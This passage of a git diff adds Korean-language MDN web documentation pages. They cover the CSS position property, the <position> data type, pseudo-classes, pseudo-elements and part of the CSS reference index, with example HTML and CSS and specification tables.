position 속성은 아래의 목록에서 하나의 키워드 값을 선택해 지정할 수 있습니다.

+ +

+ +
+
static
+
요소를 일반적인 문서 흐름에 따라 배치합니다. {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, {{cssxref("z-index")}} 속성이 아무런 영향도 주지 않습니다. 기본값입니다.
+
relative
+
요소를 일반적인 문서 흐름에 따라 배치하고, 자기 자신을 기준으로 top, right, bottom, left의 값에 따라 오프셋을 적용합니다. 오프셋은 다른 요소에는 영향을 주지 않습니다. 따라서 페이지 레이아웃에서 요소가 차지하는 공간은 static일 때와 같습니다.
+
{{cssxref("z-index")}}의 값이 auto가 아니라면 새로운 쌓임 맥락을 생성합니다. table-*-group, table-row, table-column, table-cell, table-caption 요소에 적용했을 때의 작동 방식은 정의되지 않았습니다.
+
absolute
+
요소를 일반적인 문서 흐름에서 제거하고, 페이지 레이아웃에 공간도 배정하지 않습니다. 대신 가장 가까운 위치 지정 조상 요소에 대해 상대적으로 배치합니다. 단, 조상 중 위치 지정 요소가 없다면 초기 컨테이닝 블록을 기준으로 삼습니다. 최종 위치는 top, right, bottom, left 값이 지정합니다.
+
{{cssxref("z-index")}}의 값이 auto가 아니라면 새로운 쌓임 맥락을 생성합니다. 절대 위치 지정 요소의 바깥 여백은 서로 상쇄되지 않습니다.
+
fixed
+
요소를 일반적인 문서 흐름에서 제거하고, 페이지 레이아웃에 공간도 배정하지 않습니다. 대신 {{glossary("viewport", "뷰포트")}}의 초기 컨테이닝 블록을 기준으로 삼아 배치합니다. 단, 요소의 조상 중 하나가 transform, perspective, filter 속성 중 어느 하나라도 none이 아니라면 (CSS Transforms 명세 참조) 뷰포트 대신 그 조상을 컨테이닝 블록으로 삼습니다. (perspectivefilter의 경우 브라우저별로 결과가 다름에 유의) 최종 위치는 top, right, bottom, left 값이 지정합니다.
+
이 값은 항상 새로운 쌓임 맥락을 생성합니다. 문서를 인쇄할 때는 해당 요소가 모든 페이지의 같은 위치에 출력됩니다.
+
sticky
+
요소를 일반적인 문서 흐름에 따라 배치하고, 테이블 관련 요소를 포함해 가장 가까운, 스크롤 되는 조상과, 표 관련 요소를 포함한 컨테이닝 블록(가장 가까운 블록 레벨 조상) 을 기준으로 top, right, bottom, left의 값에 따라 오프셋을 적용합니다. 오프셋은 다른 요소에는 영향을 주지 않습니다.
+
이 값은 항상 새로운 쌓임 맥락을 생성합니다. 끈끈한 요소는 "스크롤 동작"(overflowhidden, scroll, auto 혹은 overlay)이 존재하는 가장 가까운 조상에 달라붙으며, 사실 그 조상은 스크롤 불가하며 실제로 스크롤 가능한 조상이 따로 존재할 경우 "끈끈한" 동작을 보이지 않는 점에 주의하세요. (W3C CSSWG의 Github 이슈 참조)
+
+ +

설명

+ +

배치 유형

+ +
    +
  • 위치 지정 요소position계산값relative, absolute, fixed, sticky 중 하나인 요소입니다. 즉, 값이 static이 아닌 모든 요소를 말합니다.
  • +
  • 상대 위치 지정 요소position계산값relative인 요소입니다. {{cssxref("top")}}과 {{cssxref("bottom")}}은 원래 위치에서의 세로축 거리를, {{cssxref("left")}}와 {{cssxref("right")}}은 원래 위치에서의 가로축 거리를 지정합니다.
  • +
  • 절대 위치 지정 요소position계산값absolute 또는 fixed인 요소입니다.{{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}}는 요소의 컨테이닝 블록(위치의 기준점이 되는 조상 요소) 모서리로부터의 거리를 지정합니다. 요소가 바깥 여백을 가진다면 거리에 더합니다. 절대 위치 지정 요소는 새로운 블록 서식 맥락을 생성합니다.
  • +
  • 끈끈한 위치 지정 요소position계산값sticky인 요소입니다. 평소에는 상대 위치 지정 요소로 처리하지만, 컨테이닝 블록이 자신의 플로우 루트(또는, 스크롤 컨테이너)에서 지정한 임계값({{cssxref("top")}} 등으로 지정)을 넘으면 마치 fixed처럼 화면에 고정합니다. 고정 상태는 컨테이닝 블록의 반대편 모서리를 만나면 해제됩니다.
  • +
+ +

대부분의 경우, {{cssxref("height")}}와 {{cssxref("width")}}가 auto로 지정된 절대 위치 지정 요소는 자신의 콘텐츠에 맞춰 크기가 바뀝니다. 반면 비대체 절대 위치 지정 요소는 {{Cssxref("top")}}과 {{Cssxref("bottom")}}을 지정하고 {{Cssxref("height")}}는 지정하지 않으면 (즉, auto로 두면) 사용 가능한 수직 공간을 가득 채웁니다. 마찬가지로 {{Cssxref("left")}}와 {{Cssxref("right")}}을 지정하고, {{Cssxref("width")}}는 auto로 두면 사용 가능한 수평 공간을 가득 채웁니다.

+ +

위에서 설명한 경우(공간을 꽉 채우는 경우)가 아니라면 다음 규칙을 따릅니다.

+ +
    +
  • topbottom을 지정한 경우(auto가 아닌 경우), top이 우선 적용됩니다.
  • +
  • leftright를 지정한 경우, {{Cssxref("direction")}}이 ltr(영어, 한국어 등)이면 left를 우선 적용하고, {{Cssxref("direction")}}이 rtl(페르시아어, 아랍어, 히브리어 등)이면 right를 우선 적용합니다.
  • +
+ +

접근성 고려사항

+ +

화면을 확대해서 텍스트가 크게 보이게 했을 때 absolutefixed로 배치된 요소가 내용을 가리지 않도록 주의해야 합니다.

+ + + +

성능 및 접근성 문제

+ +

fixedsticky를 포함하는 스크롤 요소가 성능 및 접근성 문제를 유발할 수 있습니다. 브라우저는 사용자가 스크롤을 할 때마다 끈끈하거나 고정인 요소를 새로운 위치에 페인트 해야 하는데, 표시해야 되는 내용의 양, 브라우저 및 기기의 성능에 따라 60 fps를 유지하지 못해 일부 민감한 사용자에게는 접근성 문제가, 다른 모두에게는 사용자 경험 악화가 생깁니다. 이 문제의 해결책 중 하나는 {{cssxref("will-change", "will-change: transform")}}을 추가하여 요소를 자신만의 레이어에서 렌더링 하여 페인트 속도를 향상하고, 나아가 성능과 접근성을 높일 수 있습니다.

+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

상대 위치 지정

+ +

상대적으로 배치된 요소는 문서 내에서 정상적인(normal) 위치에서 주어진 오프셋만큼 떨어지지만, 다른 요소에는 영향을 주지 않습니다. 아래 예제에서는 다른 요소들이 "Two"가 원래 위치에 있는 것처럼 배치되는 것을 확인할 수 있습니다.

+ +

HTML

+ +
<div class="box" id="one">One</div>
+<div class="box" id="two">Two</div>
+<div class="box" id="three">Three</div>
+<div class="box" id="four">Four</div>
+
+ +

CSS

+ +
.box {
+  display: inline-block;
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#two {
+  position: relative;
+  top: 20px;
+  left: 20px;
+  background: blue;
+}
+
+ +

{{ EmbedLiveSample('상대_위치_지정', '600px', '200px') }}

+ +

절대 위치 지정

+ +

상대적으로 배치된 요소가 일반적인 문서 흐름에 따르는 것과 달리, 절대적으로 배치된 요소는 흐름에서 제거됩니다. 따라서 다른 요소는 그 요소가 존재하지 않는 것처럼 배치됩니다. 절대적으로 배치된 요소는 가장 가까운 위치 지정 조상(즉, static이 아닌 가장 가까운 조상)을 기준으로 배치됩니다. 그런 요소가 존재하지 않는다면, 초기 컨테이닝 블록이 기준이 됩니다.

+ +

HTML

+ +
<div class="box" id="one">One</div>
+<div class="box" id="two">Two</div>
+<div class="box" id="three">Three</div>
+<div class="box" id="four">Four</div>
+ +

CSS

+ +
.box {
+  display: inline-block;
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#two {
+  position: absolute;
+  top: 20px;
+  left: 20px;
+  background: blue;
+}
+ +

{{ EmbedLiveSample('절대_위치_지정', '800px', '200px') }}

+ +

고정 위치 지정

+ +

고정 위치 지정은 절대 위치 지정과 비슷하지만, fixed는 요소의 컨테이닝 블록이 뷰포트의 초기 컨테이닝 블록이라는 점에서 다릅니다(transform, perspective, filter 속성이 none이 아닌 조상이 있다면 그 조상이 컨테이닝 블록이 됩니다. CSS Transforms Spec 참조). 따라서 스크롤에 관계 없이 화면의 특정 지점에 고정되는, "떠다니는"(floating) 요소를 생성할 수 있습니다. 아래 예제에서, "One" 상자는 페이지 위에서 80픽셀, 왼쪽에서 10픽셀 떨어진 위치에 고정됩니다. 스크롤을 하더라도, 뷰포트를 기준으로 같은 위치에 고정된 채로 유지됩니다.

+ +

HTML

+ +
<div class="outer">
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  </p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  </p>
+  <div class="box" id="one">One</div>
+</div>
+
+ +

CSS

+ +
.box {
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#one {
+  position: fixed;
+  top: 80px;
+  left: 10px;
+  background: blue;
+}
+
+.outer {
+  width: 500px;
+  height: 300px;
+  overflow: scroll;
+  padding-left: 150px;
+}
+
+ +

{{ EmbedLiveSample('고정_위치_지정', '800px', '300px') }}

+ +

끈끈한 위치 지정

+ +

끈끈한 위치 지정은 상대와 고정 위치 지정을 합친 것으로 생각할 수 있습니다. 끈끈하게 배치된 요소는 상대적으로 배치된 요소로 취급하지만, 주어진 경계선을 지나면 고정 위치를 갖게 됩니다. 예를 들어,

+ +
#one { position: sticky; top: 10px; }
+ +

이때 id가 one인 요소는 그 위치가 위에서 10픽셀 떨어진 위치까지는 상대적으로 배치되지만, 그 경계를 넘어가면 위에서 10픽셀 떨어진 위치에 고정됩니다.

+ +

끈끈한 위치 지정은 흔히 사전순 리스트의 레이블에 사용할 수 있습니다. 예를 들어, "ㄴ" 레이블은 "ㄱ"으로 시작하는 목록이 화면 밖으로 나갈 때까지는 그 바로 밑에 표시되고, 그 다음에는 "ㄱ"을 따라 화면 밖으로 나가는 대신 화면 위에 고정시킬 수 있습니다. 그러다가 "ㄴ" 목록이 화면 바깥으로 나가면 그 자리에 "ㄷ" 레이블을 고정시킬 수 있습니다.

+ +

끈끈한 위치 지정이 의도한 대로 동작하게 하려면 top, right, bottom, left 중 적어도 하나의 임계값을 설정해야 합니다. 임계값을 설정하지 않으면 상대 위치 지정과 다를 바가 없습니다.

+ +

HTML

+ +
<dl>
+  <div>
+    <dt>A</dt>
+    <dd>Andrew W.K.</dd>
+    <dd>Apparat</dd>
+    <dd>Arcade Fire</dd>
+    <dd>At The Drive-In</dd>
+    <dd>Aziz Ansari</dd>
+  </div>
+  <div>
+    <dt>C</dt>
+    <dd>Chromeo</dd>
+    <dd>Common</dd>
+    <dd>Converge</dd>
+    <dd>Crystal Castles</dd>
+    <dd>Cursive</dd>
+  </div>
+  <div>
+    <dt>E</dt>
+    <dd>Explosions In The Sky</dd>
+  </div>
+  <div>
+    <dt>T</dt>
+    <dd>Ted Leo &amp; The Pharmacists</dd>
+    <dd>T-Pain</dd>
+    <dd>Thrice</dd>
+    <dd>TV On The Radio</dd>
+    <dd>Two Gallants</dd>
+  </div>
+</dl>
+
+ +

CSS

+ +
* {
+  box-sizing: border-box;
+}
+
+dl > div {
+  background: #FFF;
+  padding: 24px 0 0 0;
+}
+
+dt {
+  background: #B8C1C8;
+  border-bottom: 1px solid #989EA4;
+  border-top: 1px solid #717D85;
+  color: #FFF;
+  font: bold 18px/21px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 2px 0 0 12px;
+  position: -webkit-sticky;
+  position: sticky;
+  top: -1px;
+}
+
+dd {
+  font: bold 20px/45px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 0 0 0 12px;
+  white-space: nowrap;
+}
+
+dd + dd {
+  border-top: 1px solid #CCC;
+}
+
+ +

{{ EmbedLiveSample('끈끈한_위치_지정', '500px', '300px') }}

+ +
    +
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName('CSS2.1', 'visuren.html#propdef-position', 'position')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS3 Positioning','#position-property','position')}}{{Spec2('CSS3 Positioning')}}sticky 속성 값 추가
+ +

브라우저 호환성

+ +
{{Compat("css.properties.position")}}
diff --git a/files/ko/web/css/position_value/index.html b/files/ko/web/css/position_value/index.html new file mode 100644 index 0000000000..7e03f38e2f --- /dev/null +++ b/files/ko/web/css/position_value/index.html @@ -0,0 +1,135 @@ +--- +title: +slug: Web/CSS/position_value +tags: + - CSS + - CSS Data Type + - Layout + - Reference + - Web +translation_of: Web/CSS/position_value +--- +
{{CSSRef}}
+ +

CSS <position> (또는 <bg-position>) 자료형은 요소 박스에 대한 상대 좌표를 나타내는 2차원 좌표입니다. {{cssxref("background-position")}}, {{cssxref("offset-anchor")}} 속성에서 사용합니다.

+ +
+

참고: <position> 값이 설명하는 최종 위치가 요소 박스 내에 위치해야 할 필요는 없습니다.

+
+ +

구문

+ +

<position> 자료형은 하나 혹은 두 개의 키워드와 함께 선택적인 오프셋을 사용해 지정합니다.

+ +

키워드에는 center, top, right, bottom, left가 있으며, 각각 요소 박스의 해당하는 방향 모서리 또는 마주보는 두 모서리의 가운데 지점을 의미합니다. 맥락에 따라, center는 좌우 모서리의 중간점일 수도 있고, 상하 모서리의 중간점일 수도 있습니다.

+ +

오프셋은 상대적인 {{cssxref("<percentage>")}} 값 또는 절대적인 {{cssxref("<length>")}} 값으로 지정할 수 있습니다. 양수는 오른쪽과 아래쪽 중 적합한 방향으로 이동하며, 음수는 그 반대입니다.

+ +

하나의 오프셋 값만 지정할 경우 x 좌표를 정의하는 것이며, 다른 축의 값은 기본값으로 center를 사용합니다.

+ +
/* 1-value syntax */
+keyword                  /* Either the horizontal or vertical position; the other axis defaults to center */
+value                    /* The position on the x-axis; the y-axis defaults to 50% */
+
+/* 2-value syntax */
+keyword keyword          /* A keyword for each direction (the order is irrelevant) */
+keyword value            /* A keyword for horizontal position, value for vertical position */
+value keyword            /* A value for horizontal position, keyword for vertical position */
+value value              /* A value for each direction (horizontal then vertical) */
+
+/* 4-value syntax */
+keyword value keyword value /* Each value is an offset from the keyword that preceeds it */
+
+ +

형식 구문

+ +
[
+ [ left | center | right ] || [ top | center | bottom ]
+|
+ [ left | center | right | <length> | <percentage> ]
+ [ top | center | bottom | <length> | <percentage> ]?
+|
+ [ [ left | right ] [ <length> | <percentage> ] ] &&
+ [ [ top | bottom ] [ <length> | <percentage> ] ]
+]
+
+ +
+

참고: {{cssxref("background-position")}} 속성은 세 값 구문도 허용하나, <position>을 사용하는 다른 속성에서는 허용하지 않습니다.

+
+ +

보간

+ +

애니메이션에서 점의 가로 값과 세로 값은 각각 따로 보간됩니다. 그러나 두 좌표 모두에 대한 보간 속도는 하나의 타이밍 함수가 결정하므로, 점은 직선을 따라 이동하게 됩니다.

+ +

예제

+ +

유효한 위치

+ +
center
+left
+center top
+
+right 8.5%
+bottom 12vmin right -6px
+
+10% 20%
+8rem 14px
+
+ +

유효하지 않은 위치

+ +
left right
+bottom top
+10px 15px 20px 15px
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Values', '#position', '<position>')}}{{Spec2('CSS3 Values')}}Relists links to both definitions: if {{SpecName('CSS3 Backgrounds')}} is supported, its definition of <position> must also be used.
{{SpecName('CSS3 Backgrounds', '#typedef-bg-position', '<bg-position>')}}{{Spec2('CSS3 Backgrounds')}}Defines <position> explicitly and extends it to support offsets from any edge.
{{SpecName('CSS2.1', 'colors.html#propdef-background-position', '<position>')}}{{Spec2('CSS2.1')}}Allows combination of a keyword with a {{cssxref("<length>")}} or {{cssxref("<percentage>")}} value.
{{SpecName('CSS1', '#background-position', '<position>')}}{{Spec2('CSS1')}}Defines <position> anonymously as the value of {{cssxref("background-position")}}.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.position")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/pseudo-classes/index.html b/files/ko/web/css/pseudo-classes/index.html new file mode 100644 index 0000000000..6870bff41e --- /dev/null +++ b/files/ko/web/css/pseudo-classes/index.html @@ -0,0 +1,166 @@ +--- +title: 의사 클래스 +slug: Web/CSS/Pseudo-classes +tags: + - CSS + - Overview + - Pseudo-class + - Reference + - Selectors +translation_of: Web/CSS/Pseudo-classes +--- +
{{CSSRef}}
+ +

CSS 의사 클래스(가상 클래스)는 선택자에 추가하는 키워드로, 선택한 요소가 특별한 상태여야 만족할 수 있습니다. 예를 들어 {{cssxref(":hover")}}를 사용하면 포인터를 올렸을 때에만 글씨 색을 바꾸고 싶을 때 사용할 수 있습니다.

+ +
/* Any button over which the user's pointer is hovering */
+button:hover {
+  color: blue;
+}
+ +

의사 클래스를 사용하면 문서 트리 콘텐츠와 관련된 경우 뿐만 아니라 탐색기 히스토리({{cssxref(":visited")}} 등), 콘텐츠의 상태(특정 폼 요소에 적용한 {{cssxref(":checked")}} 등), 마우스의 위치(커서가 마우스 위인지 아닌지 알 수 있는 {{cssxref(":hover")}} 등)처럼 외부 인자와 관련된 경우에도 스타일을 적용할 수 있습니다.

+ +
+

참고: 의사 요소는 의사 클래스와 달리 요소의 특정 부분에 스타일을 적용할 때 사용합니다.

+
+ +

구문

+ +
selector:pseudo-class {
+  property: value;
+}
+ +

일반적인 클래스와 같이 여러 개의 의사 클래스를 조합해 복잡한 선택자를 만들 수 있습니다.

+ +

표준 의사 클래스 색인

+ +
+
    +
  • {{CSSxRef(":active")}}
  • +
  • {{CSSxRef(":any-link")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":blank")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":checked")}}
  • +
  • {{CSSxRef(":current")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":default")}}
  • +
  • {{CSSxRef(":defined")}}
  • +
  • {{CSSxRef(":dir", ":dir()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":disabled")}}
  • +
  • {{CSSxRef(":drop")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":empty")}}
  • +
  • {{CSSxRef(":enabled")}}
  • +
  • {{CSSxRef(":first")}}
  • +
  • {{CSSxRef(":first-child")}}
  • +
  • {{CSSxRef(":first-of-type")}}
  • +
  • {{CSSxRef(":fullscreen")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":future")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":focus")}}
  • +
  • {{CSSxRef(":focus-visible")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":focus-within")}}
  • +
  • {{CSSxRef(":has", ":has()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":host")}}
  • +
  • {{CSSxRef(":host()")}}
  • +
  • {{CSSxRef(":host-context()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":hover")}}
  • +
  • {{CSSxRef(":indeterminate")}}
  • +
  • {{CSSxRef(":in-range")}}
  • +
  • {{CSSxRef(":invalid")}}
  • +
  • {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":lang", ":lang()")}}
  • +
  • {{CSSxRef(":last-child")}}
  • +
  • {{CSSxRef(":last-of-type")}}
  • +
  • {{CSSxRef(":left")}}
  • +
  • {{CSSxRef(":link")}}
  • +
  • {{CSSxRef(":local-link")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":not", ":not()")}}
  • +
  • {{CSSxRef(":nth-child", ":nth-child()")}}
  • +
  • {{CSSxRef(":nth-col", ":nth-col()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":nth-last-child", ":nth-last-child()")}}
  • +
  • {{CSSxRef(":nth-last-col", ":nth-last-col()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":nth-last-of-type", ":nth-last-of-type()")}}
  • +
  • {{CSSxRef(":nth-of-type", ":nth-of-type()")}}
  • +
  • {{CSSxRef(":only-child")}}
  • +
  • {{CSSxRef(":only-of-type")}}
  • +
  • {{CSSxRef(":optional")}}
  • +
  • {{CSSxRef(":out-of-range")}}
  • +
  • {{CSSxRef(":past")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":placeholder-shown")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":read-only")}}
  • +
  • {{CSSxRef(":read-write")}}
  • +
  • {{CSSxRef(":required")}}
  • +
  • {{CSSxRef(":right")}}
  • +
  • {{CSSxRef(":root")}}
  • +
  • {{CSSxRef(":scope")}}
  • +
  • {{CSSxRef(":state", ":state()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":target")}}
  • +
  • {{CSSxRef(":target-within")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":user-invalid")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":valid")}}
  • +
  • {{CSSxRef(":visited")}}
  • +
  • {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}Defined :fullscreen.
{{SpecName("HTML WHATWG", "#pseudo-classes")}}{{Spec2("HTML WHATWG")}}Defines when particular selectors match HTML elements.
{{SpecName("CSS4 Selectors")}}{{Spec2("CSS4 Selectors")}}Defined :any-link, :blank, :local-link, :scope, :drop, :current, :past, :future, :placeholder-shown, :user-invalid, :nth-col(), :nth-last-col(), :is() and :where().
+ Changed :empty to behave like {{CSSxRef(":-moz-only-whitespace")}} {{Non-standard_Inline}}.
+ No significant change for other pseudo-classes defined in {{SpecName("CSS3 Selectors")}} and {{SpecName("HTML5 W3C")}} (though semantic meaning not taken over).
{{SpecName("HTML5 W3C")}}{{Spec2("HTML5 W3C")}}Copies the relevant section from the canonical (WHATWG) HTML spec.
{{SpecName("CSS3 Basic UI")}}{{Spec2("CSS3 Basic UI")}}Defined :default, :valid, :invalid, :in-range, :out-of-range, :required, :optional, :read-only and :read-write, but without the associated semantic meaning.
{{SpecName("CSS3 Selectors")}}{{Spec2("CSS3 Selectors")}}Defined :target, :root, :nth-child(), :nth-last-of-child(), :nth-of-type(), :nth-last-of-type(), :last-child, :first-of-type, :last-of-type, :only-child, :only-of-type, :empty and :not().
+ Defined the syntax of :enabled, :disabled, :checked, and :indeterminate, but without the associated semantic meaning.
+ No significant change for pseudo-classes defined in {{SpecName('CSS2.1')}}.
{{SpecName("CSS2.1")}}{{Spec2("CSS2.1")}}Defined :lang(), :first-child, :hover, and :focus.
+ No significant change for pseudo-classes defined in {{SpecName('CSS1')}}.
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Defined :link, :visited and :active, but without the associated semantic meaning.
+ +

같이 보기

+ + diff --git a/files/ko/web/css/pseudo-elements/index.html b/files/ko/web/css/pseudo-elements/index.html new file mode 100644 index 0000000000..b85c0a2904 --- /dev/null +++ b/files/ko/web/css/pseudo-elements/index.html @@ -0,0 +1,124 @@ +--- +title: 의사 요소 +slug: Web/CSS/Pseudo-elements +tags: + - CSS + - Overview + - Pseudo-element + - Reference + - Selectors +translation_of: Web/CSS/Pseudo-elements +--- +
{{CSSRef}}
+ +

CSS 의사 요소(가상 요소)는 선택자에 추가하는 키워드로, 선택한 요소의 일부분에만 스타일을 입힐 수 있습니다. 예를 들어 {{cssxref("::first-line")}}을 사용하면 문단 첫 줄의 글씨체만 바꿀 수 있습니다.

+ +
/* The first line of every <p> element. */
+p::first-line {
+  color: blue;
+  text-transform: uppercase;
+}
+ +
+

참고: 의사 클래스는 의사 요소와 달리 요소의 특정 상태에 스타일을 적용할 때 사용합니다.

+
+ +

구문

+ +
selector::pseudo-element {
+  property: value;
+}
+ +

하나의 선택자에 하나의 의사 요소만 사용할 수 있습니다. 반드시 단순 선택자 뒤에 위치해야 합니다.

+ +
+

참고: 규칙을 따라 단일 콜론(:) 대신 이중 콜론(::)을 사용하여 의사 클래스와 의사 요소를 구별해야 합니다. 그러나 과거 W3C 명세에선 이런 구별을 두지 않았으므로 대부분의 브라우저는 기존 의사 요소에 대해 두 구문 모두 지원합니다.

+
+ +

표준 의사 요소 색인

+ +
+
    +
  • {{CSSxRef("::after", "::after (:after)")}}
  • +
  • {{CSSxRef("::backdrop")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("::before", "::before (:before)")}}
  • +
  • {{CSSxRef("::cue")}}
  • +
  • {{CSSxRef("::cue-region")}}
  • +
  • {{CSSxRef("::first-letter", "::first-letter (:first-letter)")}}
  • +
  • {{CSSxRef("::first-line", "::first-line (:first-line)")}}
  • +
  • {{CSSxRef("::grammar-error")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("::marker")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("::part", "::part()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("::placeholder")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("::selection")}}
  • +
  • {{CSSxRef("::slotted", "::slotted()")}}
  • +
  • {{CSSxRef("::spelling-error")}} {{Experimental_Inline}}
  • +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
브라우저최하위 버전지원
Internet Explorer8.0:pseudo-element
9.0:pseudo-element ::pseudo-element
Firefox (Gecko)1.0 (1.0):pseudo-element
1.0 (1.5):pseudo-element ::pseudo-element
Opera4.0:pseudo-element
7.0:pseudo-element ::pseudo-element
Safari (WebKit)1.0 (85):pseudo-element ::pseudo-element
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Defined pseudo-classes and pseudo-elements.
+ +

같이 보기

+ + diff --git a/files/ko/web/css/reference/index.html b/files/ko/web/css/reference/index.html new file mode 100644 index 0000000000..21ee49d424 --- /dev/null +++ b/files/ko/web/css/reference/index.html @@ -0,0 +1,190 @@ +--- +title: CSS 참고서 +slug: Web/CSS/Reference +tags: + - CSS + - Guide + - Overview + - Reference + - 'l10n:priority' +translation_of: Web/CSS/Reference +--- +
{{CSSRef}}
+ +

CSS 참고서를 이용해 알파벳 순서로 정리한 모든 표준 CSS 속성, 의사 클래스, 의사 요소, CSS 자료형@규칙을 찾아보세요. 또한 유형별로 정리한 CSS 선택자주요 CSS 개념도 찾아볼 수 있습니다. 추가로 간단한 DOM-CSS / CSSOM 참조도 들어 있습니다.

+ +

기본 규칙 구문

+ +

스타일 규칙 구문

+ +
style-rule ::=
+    selectors-list {
+      properties-list
+    }
+
+ +

... where :

+ +
selectors-list ::=
+    selector[:pseudo-class] [::pseudo-element]
+    [, selectors-list]
+
+properties-list ::=
+    [property : value] [; properties-list]
+
+ +

아래 선택자, 의사 클래스, 의사 요소 목록을 참고하세요. 각 value의 구문은 지정한 property가 정의하는 자료형에 따라 다릅니다.

+ +

스타일 규칙 예제

+ +
strong {
+  color: red;
+}
+
+div.menu-bar li:hover > ul {
+  display: block;
+}
+
+ +

CSS 선택자 구문을 설명하는 입문자 단계의 소개 부분은 이 자습서에서 찾아볼 수 있습니다. 규칙 정의에서 구문 오류가 하나라도 발생하면 규칙 전체가 유효하지 않다는 점을 명심하세요. 유효하지 않은 규칙은 브라우저가 무시합니다. CSS 규칙 정의는 모두 (ASCII) 텍스트에 기반하지만, DOM-CSS / CSSOM (규칙 관리 시스템)은 객체에 기반합니다.

+ +

@규칙 구문

+ +

@규칙 체계는 매우 다양하므로 필요한 구체적인 구문을 찾으려면 @규칙을 봐주세요.

+ +

키워드 색인

+ +
+

참고: 이 색인에 있는 속성 이름에는 CSS 표준 이름과 다른 JavaScript 이름이 들어가지 않습니다.

+
+ +
{{CSS_Ref}}
+ +

선택자

+ +

다음은 선택자 목록입니다. 선택자를 사용하면 DOM 요소의 다양한 기능에 기반한 조건을 통해 스타일을 입힐 수 있습니다.

+ +

기본 선택자

+ +

기본 선택자는 선택자의 기초를 이루며, 조합을 통해 더 복잡한 선택자를 생성합니다.

+ + + +

그룹 선택자

+ +
+
선택자 목록 A, B
+
A와 B 요소를 모두 선택합니다. 일치하는 여러가지 요소를 선택할 때 사용합니다.
+
+ +

결합자

+ +

결합자는 "AB의 자식", "AB와 인접 요소"처럼, 두 개 이상의 선택자끼리 관계를 형성합니다.

+ +
+
인접 형제 결합자 A + B
+
요소 AB가 같은 부모를 가지며 BA를 바로 뒤따라야 하도록 지정합니다.
+
일반 형제 결합자 A ~ B
+
요소 AB가 같은 부모를 가지며 BA를 뒤따라야 하도록 지정합니다. 그러나 BA의 바로 옆에 위치해야 할 필요는 없습니다.
+
자식 결합자 A > B
+
